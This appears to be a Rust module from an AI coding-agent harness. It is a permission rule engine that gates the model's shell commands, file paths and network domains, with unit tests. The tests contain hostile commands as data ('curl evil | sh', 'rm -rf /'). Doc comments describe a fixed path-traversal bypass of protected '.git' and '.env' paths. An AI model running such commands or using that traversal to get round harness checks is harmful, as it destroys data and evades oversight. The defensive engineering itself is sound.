Skip to main content

supercode_harness/permissions/
rules.rs

1//! P5-1 (COMPOSABLE-HARNESS-DESIGN.md §2 module 11, §2.2 conflict C5, §5.3
2//! risk 1): the rule engine. **ONE engine, ONE evaluation order** — deny →
3//! ask → allow, FIRST-MATCH within that fixed tier priority (the C5
4//! decision: "the engine evaluates deny→ask→allow first-match (CC); OC-style
5//! [last-match] sets are translated at preset-import time" —
6//! `crate::permissions::translate` is that translator). This module never
7//! implements last-match semantics itself.
8//!
9//! **Fail-closed is the law.** [`evaluate_command`] can return `Allow` ONLY
10//! when every extracted sub-command (a) parsed cleanly, (b) is not
11//! [`crate::permissions::canon::CanonSubcommand::opaque`], and (c) either
12//! matches an explicit `allow` rule or the caller's `default` was itself
13//! `Allow`. Any doubt anywhere in that chain resolves to at least `Ask` —
14//! see the doc comments on each branch below for exactly where.
15
16use super::canon::{self, CanonResult};
17use crate::config::glob_match;
18
19/// The three-way outcome the engine can reach for a tool call. Ordered by
20/// strictness for [`Decision::stricter`] (`Deny` strictest, `Allow` loosest)
21/// — NOT by numeric severity in the tier-priority sense (which is a fixed
22/// deny→ask→allow scan order, not a totally-ordered scale); the ordering
23/// here exists purely to fold multiple sub-command decisions down to "the
24/// single worst one wins", the compound-safety invariant D-3/risk-1 demands.
25#[derive(Debug, Clone, Copy, PartialEq, Eq)]
26pub enum Decision {
27    /// Refuse outright. A hard floor — never bypassed by an approval policy
28    /// or a cached "approve for session" grant (mirrors
29    /// `Config::tool_deny_patterns`' existing precedent, config.rs).
30    Deny,
31    /// Requires approval (interactive prompt, or a non-interactive
32    /// [`super::approval::PermissionsApprovalHandler`]).
33    Ask,
34    /// Proceed without prompting.
35    Allow,
36}
37
38impl Decision {
39    /// The stricter (lower-trust) of two decisions: `Deny` beats `Ask` beats
40    /// `Allow`. Used to fold a compound command's per-sub-command decisions
41    /// into one (§5.3 risk 1: "a compound where ANY sub-command matches a
42    /// deny rule → the whole command is denied" — generalized here to "the
43    /// whole command is AT LEAST as strict as its strictest sub-command").
44    pub fn stricter(self, other: Decision) -> Decision {
45        use Decision::*;
46        match (self, other) {
47            (Deny, _) | (_, Deny) => Deny,
48            (Ask, _) | (_, Ask) => Ask,
49            (Allow, Allow) => Allow,
50        }
51    }
52}
53
54/// A first-match deny→ask→allow rule set (§2 module 11, C5). Each list holds
55/// pattern strings in one of two forms:
56///
57/// - `"toolname"` / `"toolname*"` (a bare glob, `crate::config::glob_match`
58///   syntax) — matches by TOOL NAME only, e.g. `"tools_question"`, `"bash*"`.
59/// - `"toolname(cmdglob)"` — matches tool name (itself a glob) AND the
60///   canonicalized command/path text (also a glob) against
61///   [`RuleSet::evaluate`]'s `subject` argument, e.g. `"bash(rm -rf*)"`,
62///   `"read(*.env)"`, `"write(.git/**)"`. The `read(...)`/`write(...)`
63///   pseudo-tool names are how path rules (module 11's "read/write path
64///   rules") and protected paths (module 13, via
65///   `crate::permissions::protected_path_rules`) both reuse this one engine
66///   instead of inventing a parallel path-matching mechanism.
67/// - `"*"` — matches everything (any tool, any subject).
68#[derive(Debug, Clone, Default, PartialEq, Eq)]
69pub struct RuleSet {
70    /// Hard floor — checked first; a match here can never be overridden.
71    pub deny: Vec<String>,
72    /// Checked second.
73    pub ask: Vec<String>,
74    /// Checked last.
75    pub allow: Vec<String>,
76}
77
78impl RuleSet {
79    /// Whether this rule set has no rules in any tier (a no-op engine —
80    /// every decision falls through to the caller's default).
81    pub fn is_empty(&self) -> bool {
82        self.deny.is_empty() && self.ask.is_empty() && self.allow.is_empty()
83    }
84
85    /// deny→ask→allow first-match, generically, against `tool` +
86    /// `subject` (the canonical command text, a resolved path, or `None`
87    /// for a tool call this rule set has no richer subject for — see
88    /// `rule_matches`'s doc comment on why a `None` subject only matches
89    /// bare tool-name-glob rules, never a `tool(pattern)` rule). Returns
90    /// `None` when nothing in any tier matches — the caller decides the
91    /// fallback (see [`evaluate_command`]/[`evaluate_path`]).
92    pub fn evaluate(&self, tool: &str, subject: Option<&str>) -> Option<Decision> {
93        if self.deny.iter().any(|p| rule_matches(p, tool, subject)) {
94            return Some(Decision::Deny);
95        }
96        if self.ask.iter().any(|p| rule_matches(p, tool, subject)) {
97            return Some(Decision::Ask);
98        }
99        if self.allow.iter().any(|p| rule_matches(p, tool, subject)) {
100            return Some(Decision::Allow);
101        }
102        None
103    }
104}
105
106/// Does `pattern` match `(tool, subject)`? See [`RuleSet`]'s doc comment for
107/// the two pattern shapes. A `tool(cmdglob)` pattern with `subject == None`
108/// never matches — a rule that names a command/path constraint cannot be
109/// satisfied by a tool call this engine has no command/path text for
110/// (conservative: such a rule simply doesn't apply, it does not silently
111/// match everything).
112fn rule_matches(pattern: &str, tool: &str, subject: Option<&str>) -> bool {
113    if pattern == "*" {
114        return true;
115    }
116    if let Some(open) = pattern.find('(') {
117        if let Some(cmd_pat) = pattern.strip_suffix(')').and_then(|p| p.get(open + 1..)) {
118            let tool_pat = &pattern[..open];
119            if !glob_match(tool_pat, tool) {
120                return false;
121            }
122            return match subject {
123                Some(s) => glob_match(cmd_pat, s),
124                None => false,
125            };
126        }
127    }
128    glob_match(pattern, tool)
129}
130
131/// Evaluate a (possibly compound) shell command against `rules`, folding
132/// every extracted sub-command's decision down to the single strictest one
133/// (§5.3 risk 1's compound-safety invariant). `tool` is the calling tool's
134/// name (`"bash"`, `"shell"`, …) — sub-command patterns match as
135/// `tool(cmdglob)` against `tool`, e.g. a rule written `"bash(rm -rf*)"`
136/// applies to every sub-command of a `bash` call, not to a `shell` call.
137///
138/// `default` is the decision to use for a sub-command that parsed cleanly
139/// but matched NO rule in any tier — the caller supplies this (typically
140/// derived from `ApprovalPolicy`, see `crate::agent`'s gate) since "no rule
141/// says anything about this command" is a policy question, not something
142/// this engine decides on its own. `default` is never consulted for a
143/// sub-command the canonicalizer could not parse, or one it marked opaque —
144/// those always contribute at least `Decision::Ask` regardless of `default`
145/// (fail-closed: an `ApprovalPolicy::Never`-derived `Allow` default must NOT
146/// let an unparseable or opaque command slip through silently).
147pub fn evaluate_command(
148    rules: &RuleSet,
149    tool: &str,
150    raw_command: &str,
151    default: Decision,
152) -> Decision {
153    match canon::canonicalize(raw_command) {
154        // Fail-closed: at least `Ask`, regardless of `default` — an
155        // `ApprovalPolicy::Never`-derived `Allow` default must not let an
156        // unparseable command slip through silently.
157        CanonResult::Unparseable(_) => Decision::Ask.stricter(default),
158        CanonResult::Ok(subs) => {
159            if subs.is_empty() {
160                // Nothing to evaluate (blank command) — the caller's
161                // default stands unmodified; there is no sub-command to
162                // force a stricter floor.
163                return default;
164            }
165            let mut worst = Decision::Allow;
166            for sub in &subs {
167                let text = sub.canonical_text();
168                let d = rules.evaluate(tool, Some(&text)).unwrap_or(default);
169                let d = if sub.opaque {
170                    d.stricter(Decision::Ask)
171                } else {
172                    d
173                };
174                // F4 (Fable-5 adversarial review): `protected_paths` must
175                // reach the bash write surface too, not just file-tool
176                // calls — check every statically-tractable write/read
177                // target this sub-command carries (a direct shell redirect,
178                // AND a known argv-writer like `tee`/`dd of=`) against the
179                // `write(...)`/`read(...)` protected-path rules folded into
180                // `rules` (see `crate::agent`'s gate,
181                // `protected_path_deny_rules`). See this crate's
182                // permissions module doc for what this covers vs. what is
183                // deferred to `permissions.sandbox`.
184                let d = d
185                    .stricter(fold_target_decisions(
186                        rules,
187                        "write",
188                        &sub.write_redirect_targets,
189                    ))
190                    .stricter(fold_target_decisions(
191                        rules,
192                        "write",
193                        &canon::known_writer_targets(&sub.argv),
194                    ))
195                    .stricter(fold_target_decisions(
196                        rules,
197                        "read",
198                        &sub.read_redirect_targets,
199                    ));
200                worst = worst.stricter(d);
201            }
202            worst
203        }
204    }
205}
206
207/// F4: fold a list of write/read redirect or known-argv-writer targets
208/// (`pseudo_tool` is `"write"` or `"read"`, matching
209/// [`protected_path_deny_rules`]'s pattern shape) down to the single
210/// strictest [`Decision`] any of them triggers. A target this
211/// canonicalizer can't statically prove is a real path
212/// (`canon::is_concrete_path_text` — e.g. it still contains `$VAR`/`` `cmd`
213/// ``) contributes at least `Ask`, fail-closed, rather than silently
214/// matching nothing and falling through to `Allow`. A target that IS
215/// concrete but matches no rule contributes `Allow` (the neutral case —
216/// this fold only ever ADDS a stricter floor on top of the sub-command's
217/// own tool-level decision, it never loosens it or duplicates `default`).
218fn fold_target_decisions(rules: &RuleSet, pseudo_tool: &str, targets: &[String]) -> Decision {
219    let mut d = Decision::Allow;
220    for t in targets {
221        if !canon::is_concrete_path_text(t) {
222            d = d.stricter(Decision::Ask);
223            continue;
224        }
225        d = d.stricter(
226            rules
227                .evaluate(pseudo_tool, Some(t))
228                .unwrap_or(Decision::Allow),
229        );
230    }
231    d
232}
233
234/// Evaluate a single resolved path against `rules`, as either a `"read"` or
235/// `"write"` pseudo-tool (module 11's "path rules": read/write globs — see
236/// [`RuleSet`]'s doc comment). Falls back to `default` when nothing matches.
237///
238/// SECURITY (CRITICAL fix, guarantor audit): this function does NO
239/// normalization, canonicalization, or symlink resolution of `path` — it is
240/// a pure glob-match against whatever string it is handed. A caller that
241/// feeds it a raw, unvalidated model-supplied path argument directly is
242/// vulnerable to a traversal bypass: `write_file path="x/../.git/config"`
243/// does not literally glob-match a `.git/**` protected-path rule as a raw
244/// string, even though it resolves right back onto the real `.git/config`.
245/// **Any caller evaluating a model-supplied tool `path` argument against
246/// `rules` MUST go through [`evaluate_path_safe`] instead**, which resolves
247/// `path` (lexically AND symlink-following) against the project root before
248/// calling this function — never call `evaluate_path` directly on untrusted
249/// input. This function itself remains a simple, pure, single-subject
250/// matcher (used internally, multiple times, by `evaluate_path_safe`) —
251/// callers that already have a KNOWN-safe subject (e.g. one of
252/// `evaluate_path_safe`'s own resolved forms, or a test's literal clean
253/// path) may still call it directly.
254pub fn evaluate_path(rules: &RuleSet, kind: PathKind, path: &str, default: Decision) -> Decision {
255    let pseudo_tool = match kind {
256        PathKind::Read => "read",
257        PathKind::Write => "write",
258    };
259    rules.evaluate(pseudo_tool, Some(path)).unwrap_or(default)
260}
261
262/// SECURITY (CRITICAL fix, guarantor audit, traced to this file's former
263/// `evaluate_path` doc comment claiming "no canonicalization ... is
264/// involved here ... no unparseable case to fail closed on" — the flawed
265/// assumption that let a traversal payload bypass `protected_paths`): the
266/// safe entry point for evaluating a RAW, model-supplied `path` tool
267/// argument (relative or absolute, exactly as it arrives in `args["path"]`)
268/// as a `"read"`/`"write"` pseudo-tool subject. Resolves `raw_path` against
269/// `root` through `crate::safe_path::resolve_for_matching` — the SAME dual
270/// lexical+symlink-resolved check `crate::checkpoint`'s P5-9 fix uses — and
271/// folds [`evaluate_path`] against the RAW subject, the lexically-normalized
272/// project-relative form, AND the symlink-resolved project-relative form
273/// down to the single strictest [`Decision`] (ties broken toward stricter,
274/// via [`Decision::stricter`]), so a rule can never be satisfied by
275/// matching only one of these three views.
276///
277/// This is what closes the CRITICAL bug: `write_file
278/// path="x/../.git/config"` with `protected_paths=[".git/**"]` — the raw
279/// subject `"x/../.git/config"` does not match, but the resolved subject
280/// `".git/config"` does, so the fold still lands on `Decision::Deny`.
281///
282/// FAIL-CLOSED: if `root`/`raw_path` cannot be proven safe (a resolution
283/// error, or `raw_path` lexically looks contained but symlink-resolves
284/// OUTSIDE `root` — see `crate::safe_path::PathForMatching::Unsafe`), the
285/// result is escalated to at least [`Decision::Deny`], never silently
286/// falling through to `default`. A path that legitimately resolves outside
287/// `root` entirely (e.g. an absolute write elsewhere under
288/// `SandboxPolicy::DangerFullAccess`) is NOT penalized for that alone — only
289/// the raw-subject match applies to it, exactly as before this fix (no
290/// over-block).
291pub fn evaluate_path_safe(
292    rules: &RuleSet,
293    kind: PathKind,
294    root: &std::path::Path,
295    raw_path: &str,
296    default: Decision,
297) -> Decision {
298    let pseudo_tool = match kind {
299        PathKind::Read => "read",
300        PathKind::Write => "write",
301    };
302    evaluate_path_subject_safe(rules, pseudo_tool, root, raw_path, default)
303}
304
305/// BP-10 (catalog row "Additional working directories"): [`evaluate_path_safe`]
306/// over EVERY granted root — `cwd` plus each `core.additional_dirs`/
307/// `--add-dir` entry — folded to the strictest [`Decision`] any of them
308/// reaches.
309///
310/// Why a fold rather than "pick the containing root": a root-relative
311/// protected-path floor (`write(.git/**)`, from
312/// [`protected_path_deny_rules`]) is written relative to A workspace root,
313/// and once an extra root is granted there is more than one. Evaluating
314/// against only `cwd` — what this crate did before BP-10 — meant a write to
315/// `<extra_root>/.git/config` matched NO root-relative pattern at all and
316/// fell through to `default`, i.e. the grant silently also removed the
317/// floor inside the granted directory. Folding every root keeps the floor
318/// on all of them; and because [`evaluate_path_subject_safe`] already
319/// treats "resolves entirely outside this root" as a non-match (never an
320/// over-block), a root a path has nothing to do with contributes nothing.
321///
322/// `roots` empty is impossible in practice (callers pass
323/// [`crate::tools::ToolContext::write_roots`]-shaped lists that always
324/// start with `cwd`); an empty slice returns `default` unchanged.
325pub fn evaluate_path_safe_roots(
326    rules: &RuleSet,
327    kind: PathKind,
328    roots: &[std::path::PathBuf],
329    raw_path: &str,
330    default: Decision,
331) -> Decision {
332    let pseudo_tool = match kind {
333        PathKind::Read => "read",
334        PathKind::Write => "write",
335    };
336    evaluate_path_subject_safe_roots(rules, pseudo_tool, roots, raw_path, default)
337}
338
339/// BP-10: [`evaluate_path_subject_safe`] over every granted root — see
340/// [`evaluate_path_safe_roots`]'s doc comment for the fold's rationale.
341pub fn evaluate_path_subject_safe_roots(
342    rules: &RuleSet,
343    tool: &str,
344    roots: &[std::path::PathBuf],
345    raw_path: &str,
346    default: Decision,
347) -> Decision {
348    let mut decision = default;
349    let mut any = false;
350    for root in roots {
351        let d = evaluate_path_subject_safe(rules, tool, root, raw_path, default);
352        decision = if any { decision.stricter(d) } else { d };
353        any = true;
354    }
355    decision
356}
357
358/// Like [`evaluate_path_safe`], but for an arbitrary `tool` name subject
359/// instead of the `read`/`write` pseudo-tool — e.g. a rule authored against
360/// the REAL tool name with a path subject (design §4.4's `"read_file(*.env)"`
361/// syntax, or an `apply_patch`-targeted rule). [`evaluate_path_safe`] is a
362/// thin wrapper over this for the pseudo-tool case; callers that need BOTH
363/// (the permissions gate always does — see `crate::agent`'s
364/// `permissions_gate_denial_impl`) call this function a second time with
365/// `tool` set to the real tool name and fold the two results together.
366pub fn evaluate_path_subject_safe(
367    rules: &RuleSet,
368    tool: &str,
369    root: &std::path::Path,
370    raw_path: &str,
371    default: Decision,
372) -> Decision {
373    let mut decision = rules.evaluate(tool, Some(raw_path)).unwrap_or(default);
374    match crate::safe_path::resolve_for_matching(root, raw_path) {
375        crate::safe_path::PathForMatching::Inside {
376            lexical_rel,
377            resolved_rel,
378        } => {
379            decision =
380                decision.stricter(rules.evaluate(tool, Some(&lexical_rel)).unwrap_or(default));
381            if resolved_rel != lexical_rel {
382                decision =
383                    decision.stricter(rules.evaluate(tool, Some(&resolved_rel)).unwrap_or(default));
384            }
385        }
386        crate::safe_path::PathForMatching::Outside => {
387            // No root-relative protected-floor pattern can apply to a path
388            // that resolves entirely outside `root` — the raw-subject match
389            // above already covers any rule authored against an absolute
390            // path. Not itself hostile (no over-block).
391        }
392        crate::safe_path::PathForMatching::Unsafe(_reason) => {
393            // FAIL CLOSED: could not prove this path safe (resolution
394            // error, or a symlink escape out of `root`) — never fall
395            // through to `default`/`Allow`.
396            decision = decision.stricter(Decision::Deny);
397        }
398    }
399    decision
400}
401
402/// BP-10 (catalog row "Allow/ask/deny rule language", semantics "Pattern
403/// rules per tool/path/**domain**/command"): the FOURTH rule subject —
404/// evaluate a network HOST against `rules` as the `domain` pseudo-tool,
405/// exactly the way [`evaluate_path`] evaluates a path as the `read`/`write`
406/// pseudo-tools. A rule is written `"domain(evil.example)"` /
407/// `"domain(*.evil.example)"`, or bare `"domain"` to name every host at
408/// once; the glob syntax, the tier priority, and the first-match order are
409/// the engine's, not a second matcher's.
410///
411/// `host: None` (a URL with no parseable host) is [`Decision::Deny`],
412/// fail-closed — an unresolvable host cannot be proven to satisfy an
413/// allowlist. `host` is lowercased before matching (hostnames are
414/// case-insensitive; patterns are expected lowercase).
415pub fn evaluate_domain(rules: &RuleSet, host: Option<&str>, default: Decision) -> Decision {
416    let Some(host) = host else {
417        return Decision::Deny;
418    };
419    let host = host.to_ascii_lowercase();
420    rules.evaluate("domain", Some(&host)).unwrap_or(default)
421}
422
423/// BP-10: does the DENY tier alone match `host`? Used only to tell the two
424/// refusal REASONS apart ("denied by" vs "not on the allowlist") — the
425/// decision itself is always [`evaluate_domain`]'s.
426pub fn domain_denied_explicitly(rules: &RuleSet, host: &str) -> bool {
427    let deny_only = RuleSet {
428        deny: rules.deny.clone(),
429        ..Default::default()
430    };
431    deny_only.evaluate("domain", Some(&host.to_ascii_lowercase())) == Some(Decision::Deny)
432}
433
434/// Which access [`evaluate_path`] is checking — matches module 11's
435/// `read(...)`/`write(...)` pseudo-tool rule pattern names.
436#[derive(Debug, Clone, Copy, PartialEq, Eq)]
437pub enum PathKind {
438    /// A read access (`read_file`, `view_image`, …).
439    Read,
440    /// A write access (`write_file`, `edit_file`, …).
441    Write,
442}
443
444/// Module 13 (`permissions.protected_paths`): build the `read(...)` +
445/// `write(...)` deny rules a protected-paths glob list expands to — a
446/// protected path is unconditionally denied for BOTH read and write, unlike
447/// an ordinary rule (this is the "never auto-approved" floor cc§4 documents
448/// for `.git/**`/`.env*`/etc, not an ordinary ask/allow-able rule). Callers
449/// fold the result into a [`RuleSet`]'s `deny` list (see
450/// `crate::configfile::materialize_config`), which — because `deny` is
451/// always checked first, unconditionally, with no override — makes a
452/// protected path exactly as hard a floor as `Config::tool_deny_patterns`
453/// already is (config.rs).
454pub fn protected_path_deny_rules(paths: &[String]) -> Vec<String> {
455    let mut out = Vec::with_capacity(paths.len() * 2);
456    for p in paths {
457        out.push(format!("read({p})"));
458        out.push(format!("write({p})"));
459    }
460    out
461}
462
463#[cfg(test)]
464mod tests {
465    use super::*;
466
467    fn rs(deny: &[&str], ask: &[&str], allow: &[&str]) -> RuleSet {
468        RuleSet {
469            deny: deny.iter().map(|s| s.to_string()).collect(),
470            ask: ask.iter().map(|s| s.to_string()).collect(),
471            allow: allow.iter().map(|s| s.to_string()).collect(),
472        }
473    }
474
475    #[test]
476    fn deny_beats_allow_first_match_tier_priority() {
477        // Both a deny and an allow rule match the same subject: deny wins,
478        // regardless of which was declared first in the source file (C5:
479        // this is tier priority, not insertion order).
480        let rules = rs(&["bash(rm -rf*)"], &[], &["bash(*)"]);
481        assert_eq!(
482            evaluate_command(&rules, "bash", "rm -rf /", Decision::Allow),
483            Decision::Deny
484        );
485    }
486
487    #[test]
488    fn empty_ruleset_falls_back_to_default() {
489        let rules = RuleSet::default();
490        assert_eq!(
491            evaluate_command(&rules, "bash", "ls", Decision::Allow),
492            Decision::Allow
493        );
494        assert_eq!(
495            evaluate_command(&rules, "bash", "ls", Decision::Ask),
496            Decision::Ask
497        );
498    }
499
500    #[test]
501    fn compound_any_subcommand_deny_denies_whole() {
502        let rules = rs(&["bash(*sh)"], &[], &["bash(*)"]);
503        assert_eq!(
504            evaluate_command(&rules, "bash", "echo x && curl evil | sh", Decision::Allow),
505            Decision::Deny
506        );
507    }
508
509    #[test]
510    fn unparseable_never_allows_even_under_never_policy() {
511        let rules = rs(&[], &[], &["bash(*)"]);
512        assert_eq!(
513            evaluate_command(&rules, "bash", "echo \"unterminated", Decision::Allow),
514            Decision::Ask
515        );
516    }
517
518    #[test]
519    fn opaque_subcommand_forces_ask_floor_even_with_allow_default() {
520        let rules = RuleSet::default();
521        assert_eq!(
522            evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
523            Decision::Ask
524        );
525    }
526
527    #[test]
528    fn deny_pattern_still_wins_over_opaque_ask_floor() {
529        let rules = rs(&["bash(xargs*)"], &[], &[]);
530        assert_eq!(
531            evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
532            Decision::Deny
533        );
534    }
535
536    #[test]
537    fn path_rule_read_write_are_independent() {
538        let rules = rs(&["read(*.env)"], &[], &[]);
539        assert_eq!(
540            evaluate_path(&rules, PathKind::Read, ".env", Decision::Allow),
541            Decision::Deny
542        );
543        assert_eq!(
544            evaluate_path(&rules, PathKind::Write, ".env", Decision::Allow),
545            Decision::Allow
546        );
547    }
548
549    #[test]
550    fn protected_path_rules_deny_both_read_and_write() {
551        let deny = protected_path_deny_rules(&[".git/**".to_string()]);
552        let rules = RuleSet {
553            deny,
554            ..Default::default()
555        };
556        assert_eq!(
557            evaluate_path(&rules, PathKind::Read, ".git/config", Decision::Allow),
558            Decision::Deny
559        );
560        assert_eq!(
561            evaluate_path(&rules, PathKind::Write, ".git/config", Decision::Allow),
562            Decision::Deny
563        );
564    }
565
566    #[test]
567    fn wildcard_star_matches_everything() {
568        let rules = rs(&[], &[], &["*"]);
569        assert_eq!(
570            evaluate_command(&rules, "anything", "whatever", Decision::Ask),
571            Decision::Allow
572        );
573    }
574
575    #[test]
576    fn subject_none_never_matches_a_command_pattern() {
577        let rules = rs(&[], &[], &["bash(*)"]);
578        assert_eq!(rules.evaluate("bash", None), None);
579    }
580
581    #[test]
582    fn decision_stricter_ordering() {
583        assert_eq!(Decision::Deny.stricter(Decision::Allow), Decision::Deny);
584        assert_eq!(Decision::Ask.stricter(Decision::Allow), Decision::Ask);
585        assert_eq!(Decision::Allow.stricter(Decision::Allow), Decision::Allow);
586        assert_eq!(Decision::Deny.stricter(Decision::Ask), Decision::Deny);
587    }
588}